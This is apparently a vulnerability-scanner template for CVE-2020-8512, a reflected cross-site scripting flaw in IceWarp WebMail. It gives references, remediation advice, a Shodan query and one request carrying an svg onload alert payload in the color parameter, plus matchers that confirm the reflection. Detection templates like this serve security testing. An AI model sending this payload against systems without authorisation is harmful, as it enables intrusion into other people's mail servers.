id: CVE-2020-8512

info:
  name: IceWarp WebMail Server <=11.4.4.1 - Cross-Site Scripting
  author: pdteam,dwisiswant0
  severity: medium
  description: IceWarp Webmail Server through 11.4.4.1 contains a cross-site scripting vulnerability in the /webmail/ color parameter.
  remediation: |
    Upgrade to a patched version of IceWarp WebMail Server (>=11.4.4.2) or apply the vendor-provided patch to mitigate the vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/47988
    - https://twitter.com/sagaryadav8742/status/1275170967527006208
    - https://cxsecurity.com/issue/WLB-2020010205
    - https://packetstormsecurity.com/files/156103/IceWarp-WebMail-11.4.4.1-Cross-Site-Scripting.html
    - https://nvd.nist.gov/vuln/detail/CVE-2020-8512
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2020-8512
    cwe-id: CWE-79
    epss-score: 0.0046
    epss-percentile: 0.72232
    cpe: cpe:2.3:a:icewarp:icewarp_server:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: icewarp
    product: icewarp_server
    shodan-query: title:"icewarp"
  tags: edb,packetstorm,cve,cve2020,xss,icewarp

http:
  - method: GET
    path:
      - '{{BaseURL}}/webmail/?color=%22%3E%3Csvg/onload=alert(document.domain)%3E%22'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<svg/onload=alert(document.domain)>"
          - "<strong>IceWarp"
        condition: and

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200